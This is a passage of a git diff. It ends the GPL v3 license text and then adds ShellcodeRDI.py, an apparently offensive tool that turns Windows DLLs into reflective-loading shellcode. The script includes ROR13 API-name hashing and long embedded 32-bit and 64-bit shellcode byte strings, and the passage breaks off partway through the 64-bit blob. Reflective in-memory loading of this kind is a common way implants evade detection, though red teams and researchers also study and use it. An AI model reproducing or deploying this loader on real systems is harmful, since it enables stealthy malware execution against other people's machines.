use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. \ No newline at end of file diff --git a/client/dist/srdi/ShellcodeRDI.py b/client/dist/srdi/ShellcodeRDI.py new file mode 100644 index 0000000..2223ed5 --- /dev/null +++ b/client/dist/srdi/ShellcodeRDI.py @@ -0,0 +1,217 @@ +import sys + +if sys.version_info < (3,0): + print("[!] Sorry, requires Python 3.x") + sys.exit(1) + +import struct +from struct import pack + +MACHINE_IA64=512 +MACHINE_AMD64=34404 + +def is64BitDLL(bytes): + header_offset = struct.unpack("> r_bits%max_bits) | \ + (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) + +def HashFunctionName(name, module = None): + + function = name.encode() + b'\x00' + + if(module): + module = module.upper().encode('UTF-16LE') + b'\x00\x00' + + functionHash = 0 + + for b in function: + functionHash = ror(functionHash, 13, 32) + functionHash += b + + moduleHash = 0 + + for b in module: + moduleHash = ror(moduleHash, 13, 32) + moduleHash += b + + functionHash += moduleHash + + if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000 + + else: + functionHash = 0 + + for b in function: + functionHash = ror(functionHash, 13, 32) + functionHash += b + + return functionHash + +def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0): + + #MARKER:S + rdiShellcode32 = b'\x81\xEC\x14\x01\x00\x00\x53\x55\x56\x57\x6A\x6B\x58\x6A\x65\x66\x89\x84\x24\xCC\x00\x00\x00\x33\xED\x58\x6A\x72\x59\x6A\x6E\x5B\x6A\x6C\x5A\x6A\x33\x66\x89\x84\x24\xCE\x00\x00\x00\x66\x89\x84\x24\xD4\x00\x00\x00\x58\x6A\x32\x66\x89\x84\x24\xD8\x00\x00\x00\x58\x6A\x2E\x66\x89\x84\x24\xDA\x00\x00\x00\x58\x6A\x64\x66\x89\x84\x24\xDC\x00\x00\x00\x58\x89\xAC\x24\xB0\x00\x00\x00\x89\x6C\x24\x34\x89\xAC\x24\xB8\x00\x00\x00\x89\xAC\x24\xC4\x00\x00\x00\x89\xAC\x24\xB4\x00\x00\x00\x89\xAC\x24\xAC\x00\x00\x00\x89\xAC\x24\xE0\x00\x00\x00\x66\x89\x8C\x24\xCC\x00\x00\x00\x66\x89\x9C\x24\xCE\x00\x00\x00\x66\x89\x94\x24\xD2\x00\x00\x00\x66\x89\x84\x24\xDA\x00\x00\x00\x66\x89\x94\x24\xDC\x00\x00\x00\x66\x89\x94\x24\xDE\x00\x00\x00\xC6\x44\x24\x3C\x53\x88\x54\x24\x3D\x66\xC7\x44\x24\x3E\x65\x65\xC6\x44\x24\x40\x70\x66\xC7\x44\x24\x50\x4C\x6F\xC6\x44\x24\x52\x61\x88\x44\x24\x53\x66\xC7\x44\x24\x54\x4C\x69\xC6\x44\x24\x56\x62\x88\x4C\x24\x57\xC6\x44\x24\x58\x61\x88\x4C\x24\x59\x66\xC7\x44\x24\x5A\x79\x41\x66\xC7\x44\x24\x44\x56\x69\x88\x4C\x24\x46\x66\xC7\x44\x24\x47\x74\x75\xC6\x44\x24\x49\x61\x88\x54\x24\x4A\xC6\x44\x24\x4B\x41\x88\x54\x24\x4C\x88\x54\x24\x4D\x66\xC7\x44\x24\x4E\x6F\x63\x66\xC7\x44\x24\x5C\x56\x69\x88\x4C\x24\x5E\x66\xC7\x44\x24\x5F\x74\x75\xC6\x44\x24\x61\x61\x88\x54\x24\x62\xC6\x44\x24\x63\x50\x88\x4C\x24\x64\xC7\x44\x24\x65\x6F\x74\x65\x63\xC6\x44\x24\x69\x74\xC6\x84\x24\x94\x00\x00\x00\x46\x88\x94\x24\x95\x00\x00\x00\xC7\x84\x24\x96\x00\x00\x00\x75\x73\x68\x49\x88\x9C\x24\x9A\x00\x00\x00\x66\xC7\x84\x24\x9B\x00\x00\x00\x73\x74\x88\x8C\x24\x9D\x00\x00\x00\xC7\x84\x24\x9E\x00\x00\x00\x75\x63\x74\x69\xC6\x84\x24\xA2\x00\x00\x00\x6F\x6A\x65\x59\x88\x8C\x24\xA8\x00\x00\x00\x88\x4C\x24\x6D\x88\x4C\x24\x74\x88\x4C\x24\x79\x88\x8C\x24\x92\x00\x00\x00\xB9\x13\x9C\xBF\xBD\x88\x9C\x24\xA3\x00\x00\x00\xC7\x84\x24\xA4\x00\x00\x00\x43\x61\x63\x68\xC6\x44\x24\x6C\x47\xC7\x44\x24\x6E\x74\x4E\x61\x74\x66\xC7\x44\x24\x72\x69\x76\xC7\x44\x24\x75\x53\x79\x73\x74\x66\xC7\x44\x24\x7A\x6D\x49\x88\x5C\x24\x7C\x66\xC7\x44\x24\x7D\x66\x6F\x66\xC7\x84\x24\x80\x00\x00\x00\x52\x74\x88\x94\x24\x82\x00\x00\x00\xC6\x84\x24\x83\x00\x00\x00\x41\x88\x84\x24\x84\x00\x00\x00\x88\x84\x24\x85\x00\x00\x00\x66\xC7\x84\x24\x86\x00\x00\x00\x46\x75\x88\x9C\x24\x88\x00\x00\x00\xC7\x84\x24\x89\x00\x00\x00\x63\x74\x69\x6F\x88\x9C\x24\x8D\x00\x00\x00\x66\xC7\x84\x24\x8E\x00\x00\x00\x54\x61\xC6\x84\x24\x90\x00\x00\x00\x62\x88\x94\x24\x91\x00\x00\x00\xE8\x77\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x8B\xF0\xE8\x6B\x08\x00\x00\x8B\xD8\x8D\x84\x24\xC8\x00\x00\x00\x6A\x18\x89\x84\x24\xEC\x00\x00\x00\x58\x66\x89\x84\x24\xE6\x00\x00\x00\x66\x89\x84\x24\xE4\x00\x00\x00\x8D\x44\x24\x1C\x50\x8D\x84\x24\xE8\x00\x00\x00\x89\x5C\x24\x34\x50\x55\x55\xFF\xD6\x6A\x0C\x5F\x8D\x44\x24\x44\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x44\x24\x34\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x0E\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x5C\x89\x44\x24\x18\x8D\x84\x24\xB4\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x15\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x84\x24\x94\x00\x00\x00\x89\x44\x24\x18\x8D\x84\x24\xB8\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x13\x5E\x8D\x44\x24\x6C\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xC4\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x05\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x3C\x89\x44\x24\x18\x8D\x84\x24\xAC\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x84\x24\x80\x00\x00\x00\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xE0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x44\x24\x50\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xB0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x39\x6C\x24\x34\x0F\x84\x00\x07\x00\x00\x39\xAC\x24\xB4\x00\x00\x00\x0F\x84\xF3\x06\x00\x00\x39\xAC\x24\xAC\x00\x00\x00\x0F\x84\xE6\x06\x00\x00\x39\xAC\x24\xB8\x00\x00\x00\x0F\x84\xD9\x06\x00\x00\x8B\xAC\x24\xC4\x00\x00\x00\x85\xED\x0F\x84\xCA\x06\x00\x00\x8B\xBC\x24\x28\x01\x00\x00\x8B\x77\x3C\x03\xF7\x81\x3E\x50\x45\x00\x00\x0F\x85\xB2\x06\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\xA3\x06\x00\x00\xF6\x46\x38\x01\x0F\x85\x99\x06\x00\x00\x0F\xB7\x4E\x14\x33\xDB\x0F\xB7\x56\x06\x83\xC1\x24\x85\xD2\x74\x1E\x03\xCE\x83\x79\x04\x00\x8B\x46\x38\x0F\x45\x41\x04\x03\x01\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8\x83\xEA\x01\x75\xE4\x8D\x84\x24\x00\x01\x00\x00\x50\xFF\xD5\x8B\x8C\x24\x04\x01\x00\x00\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC3\x23\xEA\x23\xC2\x3B\xE8\x0F\x85\x3D\x06\x00\x00\x6A\x04\x68\x00\x30\x00\x00\x55\xFF\x76\x34\xFF\x54\x24\x44\x8B\xD8\x89\x5C\x24\x2C\x85\xDB\x75\x13\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54\x24\x44\x8B\xD8\x89\x44\x24\x2C\xF6\x84\x24\x38\x01\x00\x00\x01\x74\x23\x8B\x47\x3C\x89\x43\x3C\x8B\x4F\x3C\x3B\x4E\x54\x73\x2E\x8B\xEF\x8D\x14\x0B\x2B\xEB\x8A\x04\x2A\x41\x88\x02\x42\x3B\x4E\x54\x72\xF4\xEB\x19\x33\xED\x39\x6E\x54\x76\x12\x8B\xD7\x8B\xCB\x2B\xD3\x8A\x04\x11\x45\x88\x01\x41\x3B\x6E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24\x10\x33\xC0\x89\x6C\x24\x28\x0F\xB7\x55\x14\x83\xC2\x28\x66\x3B\x45\x06\x73\x31\x03\xD5\x33\xF6\x39\x32\x76\x19\x8B\x42\x04\x8B\x4A\xFC\x03\xC6\x03\xCB\x8A\x04\x38\x88\x04\x31\x46\x3B\x32\x72\xEB\x8B\x4C\x24\x10\x0F\xB7\x45\x06\x41\x83\xC2\x28\x89\x4C\x24\x10\x3B\xC8\x72\xD1\x8B\xC3\xC7\x84\x24\xBC\x00\x00\x00\x01\x00\x00\x00\x2B\x45\x34\x89\x44\x24\x24\x0F\x84\xC4\x00\x00\x00\x83\xBD\xA4\x00\x00\x00\x00\x0F\x84\xB7\x00\x00\x00\x8B\xB5\xA0\x00\x00\x00\x03\xF3\x83\x3E\x00\x0F\x84\xA6\x00\x00\x00\x6A\x02\x8B\xF8\x5D\x8D\x56\x08\xEB\x75\x0F\xB7\x02\x89\x44\x24\x10\x0F\xB7\xC8\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x28\x8B\x16\x8B\x4C\x24\x10\x81\xE1\xFF\x0F\x00\x00\x89\x4C\x24\x10\x8D\x04\x1A\x8B\x0C\x08\x8D\x04\x1A\x8B\x54\x24\x10\x03\xCF\x89\x0C\x10\x8B\x54\x24\x24\xEB\x37\x66\x83\xF8\x03\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x3C\x19\xEB\x24\x66\x3B\x84\x24\xBC\x00\x00\x00\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x08\x66\x3B\xC5\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x04\x19\x03\xD5\x8B\x46\x04\x03\xC6\x89\x54\x24\x24\x3B\xD0\x0F\x85\x7A\xFF\xFF\xFF\x83\x3A\x00\x8B\xF2\x0F\x85\x6A\xFF\xFF\xFF\x8B\x6C\x24\x28\x8B\xBC\x24\x28\x01\x00\x00\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\xD7\x01\x00\x00\x8B\xB5\x80\x00\x00\x00\x33\xC0\x89\x44\x24\x10\x8D\x0C\x1E\x89\x4C\x24\x24\x83\xC1\x0C\x39\x01\x74\x0D\x8D\x49\x14\x40\x83\x39\x00\x75\xF7\x89\x44\x24\x10\x8B\x8C\x24\x38\x01\x00\x00\x8B\xD1\x83\xE2\x04\x89\x54\x24\x38\x8B\xD6\x0F\x84\xC3\x00\x00\x00\x83\xF8\x01\x0F\x86\xBA\x00\x00\x00\x83\xA4\x24\xBC\x00\x00\x00\x00\xC1\xE9\x10\x89\x8C\x24\x38\x01\x00\x00\x8D\x48\xFF\x89\x8C\x24\xC0\x00\x00\x00\x85\xC9\x0F\x84\xA1\x00\x00\x00\x8B\x74\x24\x24\x8B\xDE\x8B\xAC\x24\xBC\x00\x00\x00\x8B\xC8\x69\xFF\xFD\x43\x03\x00\x2B\xCD\x33\xD2\xB8\xFF\x7F\x00\x00\xF7\xF1\x81\xC7\xC3\x9E\x26\x00\x33\xD2\x89\xBC\x24\x28\x01\x00\x00\x6A\x05\x8D\x48\x01\x8B\xC7\xC1\xE8\x10\x8D\xBC\x24\xF0\x00\x00\x00\x25\xFF\x7F\x00\x00\xF7\xF1\x59\x03\xC5\x6B\xC0\x14\x6A\x05\x03\xC6\x45\x8B\xF0\xF3\xA5\x59\x8B\xF3\x8B\xF8\x8B\x44\x24\x10\xF3\xA5\x6A\x05\x8B\xFB\x8D\xB4\x24\xF0\x00\x00\x00\x59\xF3\xA5\x8B\xBC\x24\x28\x01\x00\x00\x83\xC3\x14\x8B\x74\x24\x24\x3B\xAC\x24\xC0\x00\x00\x00\x72\x87\x8B\x6C\x24\x28\x8B\x5C\x24\x2C\x8B\x95\x80\x00\x00\x00\xEB\x0B\x8B\x44\x24\x38\x89\x84\x24\x38\x01\x00\x00\x8D\x3C\x1A\x8B\x47\x0C\x89\x7C\x24\x2C\x85\xC0\x0F\x84\xB8\x00\x00\x00\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xD0\x89\x54\x24\x1C\x8B\x37\x8B\x6F\x10\x03\xF3\x03\xEB\x8B\x0E\x85\xC9\x74\x60\x8B\x7C\x24\x30\x85\xC9\x79\x09\x0F\xB7\x06\x55\x50\x6A\x00\xEB\x36\x83\xC1\x02\x33\xC0\x03\xCB\x89\x8C\x24\xC0\x00\x00\x00\x38\x01\x74\x0E\x40\x41\x80\x39\x00\x75\xF9\x8B\x8C\x24\xC0\x00\x00\x00\x55\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x4C\x24\x20\x50\x52\xFF\xD7\x83\xC6\x04\x83\xC5\x04\x8B\x0E\x85\xC9\x74\x06\x8B\x54\x24\x1C\xEB\xA8\x8B\x7C\x24\x2C\x83\x7C\x24\x38\x00\x74\x1C\x33\xC0\x40\x39\x44\x24\x10\x76\x13\x69\x84\x24\x38\x01\x00\x00\xE8\x03\x00\x00\x50\xFF\x94\x24\xB0\x00\x00\x00\x8B\x47\x20\x83\xC7\x14\x89\x7C\x24\x2C\x85\xC0\x0F\x85\x4C\xFF\xFF\xFF\x8B\x6C\x24\x28\x83\xBD\xE4\x00\x00\x00\x00\x0F\x84\xAD\x00\x00\x00\x8B\x85\xE0\x00\x00\x00\x83\xC0\x04\x03\xC3\x89\x44\x24\x10\x8B\x00\x85\xC0\x0F\x84\x94\x00\x00\x00\x8B\x6C\x24\x10\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xC8\x89\x4C\x24\x1C\x8B\x75\x08\x8B\x7D\x0C\x03\xF3\x03\xFB\x83\x3E\x00\x74\x5B\x8B\x6C\x24\x30\x8B\x17\x85\xD2\x79\x09\x56\x0F\xB7\xC2\x50\x6A\x00\xEB\x30\x83\xC2\x02\x33\xC0\x03\xD3\x89\x54\x24\x38\x38\x02\x74\x0B\x40\x42\x80\x3A\x00\x75\xF9\x8B\x54\x24\x38\x56\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x54\x24\x20\x50\x51\xFF\xD5\x83\xC6\x04\x83\xC7\x04\x83\x3E\x00\x74\x06\x8B\x4C\x24\x1C\xEB\xAD\x8B\x6C\x24\x10\x83\xC5\x20\x89\x6C\x24\x10\x8B\x45\x00\x85\xC0\x0F\x85\x74\xFF\xFF\xFF\x8B\x6C\x24\x28\x0F\xB7\x75\x14\x33\xC0\x83\xC6\x28\x33\xFF\x66\x3B\x45\x06\x0F\x83\xE5\x00\x00\x00\x03\xF5\xBA\x00\x00\x00\x40\x83\x3E\x00\x0F\x84\xC5\x00\x00\x00\x8B\x4E\x14\x8B\xC1\x25\x00\x00\x00\x20\x75\x0B\x85\xCA\x75\x07\x85\xC9\x78\x03\x40\xEB\x62\x85\xC0\x75\x30\x85\xCA\x75\x08\x85\xC9\x79\x04\x6A\x08\xEB\x51\x85\xC0\x75\x20\x85\xCA\x74\x08\x85\xC9\x78\x04\x6A\x02\xEB\x41\x85\xC0\x75\x10\x85\xCA\x74\x08\x85\xC9\x79\x04\x6A\x04\xEB\x31\x85\xC0\x74\x4A\x85\xCA\x75\x08\x85\xC9\x78\x04\x6A\x10\xEB\x21\x85\xC0\x74\x3A\x85\xCA\x75\x0B\x85\xC9\x79\x07\xB8\x80\x00\x00\x00\xEB\x0F\x85\xC0\x74\x27\x85\xCA\x74\x0D\x85\xC9\x78\x09\x6A\x20\x58\x89\x44\x24\x20\xEB\x1A\x85\xC0\x74\x12\x85\xCA\x74\x0E\x8B\x44\x24\x20\x85\xC9\x6A\x40\x5A\x0F\x48\xC2\xEB\xE4\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89\x44\x24\x20\x8D\x4C\x24\x20\x51\x50\x8B\x46\xFC\xFF\x36\x03\xC3\x50\xFF\x94\x24\xC4\x00\x00\x00\xBA\x00\x00\x00\x40\x0F\xB7\x45\x06\x47\x83\xC6\x28\x3B\xF8\x0F\x82\x22\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x94\x24\xC4\x00\x00\x00\x83\xBD\xC4\x00\x00\x00\x00\x74\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x28\x33\xC0\x40\x50\x50\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x2C\x01\x00\x00\x00\x0F\x84\xAB\x00\x00\x00\x83\x7D\x7C\x00\x0F\x84\xA1\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84\x91\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x87\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB\x83\x64\x24\x30\x00\x03\xCB\x85\xED\x74\x74\x8B\x37\xC7\x44\x24\x10\x00\x00\x00\x00\x03\xF3\x74\x66\x8A\x06\x84\xC0\x74\x1A\x8B\x6C\x24\x10\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x46\x8A\x06\x84\xC0\x75\xF1\x89\x6C\x24\x10\x8B\x6A\x18\x8B\x84\x24\x2C\x01\x00\x00\x3B\x44\x24\x10\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x30\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24\x30\x3B\xC5\x72\xAE\xEB\x20\x0F\xB7\x09\x8B\x42\x1C\xFF\xB4\x24\x34\x01\x00\x00\xFF\xB4\x24\x34\x01\x00\x00\x8D\x04\x88\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33\xC0\x5F\x5E\x5D\x5B\x81\xC4\x14\x01\x00\x00\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB' + rdiShellcode64 = b'\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x6C\x24\x90\x48\x81\xEC\x70\x01\x00\x00\x45\x33\xFF\xC7\x45\xD8\x6B\x00\x65\x00\x48\x8B\xF1\x4C\x89\x7D\xF8\xB9\x13\x9C\xBF\xBD\x4C\x89\x7D\xC8\x4C\x89\x7D\x08\x45\x8D\x4F\x65\x4C\x89\x7D\x10\x44\x88\x4D\xBC\x44\x88\x4D\xA2\x4C\x89\x7D\x00\x4C\x89\x7D\xF0\x4C\x89\x7D\x18\x44\x89\x7D\x24\x44\x89\x7C\x24\x2C\xC7\x45\xDC\x72\x00\x6E\x00\xC7\x45\xE0\x65\x00\x6C\x00\xC7\x45\xE4\x33\x00\x32\x00\xC7\x45\xE8\x2E\x00\x64\x00\xC7\x45\xEC\x6C\x00\x6C\x00\xC7\x44\x24\x40\x53\x6C\x65\x65\xC6\x44\x24\x44\x70\xC7\x44\x24\x58\x4C\x6F\x61\x64\xC7\x44\x24\x5C\x4C\x69\x62\x72\xC7\x44\x24\x60\x61\x72\x79\x41\xC7\x44\x24\x48\x56\x69\x72\x74\xC7\x44\x24\x4C\x75\x61\x6C\x41\xC7\x44\x24\x50\x6C\x6C\x6F\x63\xC7\x44\x24\x68\x56\x69\x72\x74\xC7\x44\x24\x6C\x75\x61\x6C\x50\xC7\x44\x24\x70\x72\x6F\x74\x65\x66\xC7\x44\x24\x74\x63\x74\xC7\x45\xA8\x46\x6C\x75\x73\xC7\x45\xAC\x68\x49\x6E\x73\xC7\x45\xB0\x74\x72\x75\x63\xC7\x45\xB4\x74\x69\x6F\x6E\xC7\x45\xB8\x43\x61\x63\x68\xC7\x44\x24\x78\x47\x65\x74\x4E\xC7\x44\x24\x7C\x61\x74\x69\x76\xC7\x45\x80\x65\x53\x79\x73\xC7\x45\x84\x74\x65\x6D\x49\x66\xC7\x45\x88\x6E\x66\xC6\x45\x8A\x6F\xC7\x45\x90\x52\x74\x6C\x41\xC7\x45\x94\x64\x64\x46\x75\xC7\x45\x98\x6E\x63\x74\x69\xC7\x45\x9C\x6F\x6E\x54\x61\x66\xC7\x45\xA0\x62\x6C\xE8\x7F\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x48\x8B\xD8\xE8\x72\x08\x00\x00\x4C\x8B\xE8\x48\x89\x45\xD0\x48\x8D\x45\xD8\xC7\x45\x20\x18\x00\x18\x00\x4C\x8D\x4C\x24\x38\x48\x89\x45\x28\x4C\x8D\x45\x20\x33\xD2\x33\xC9\xFF\xD3\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x48\x45\x33\xC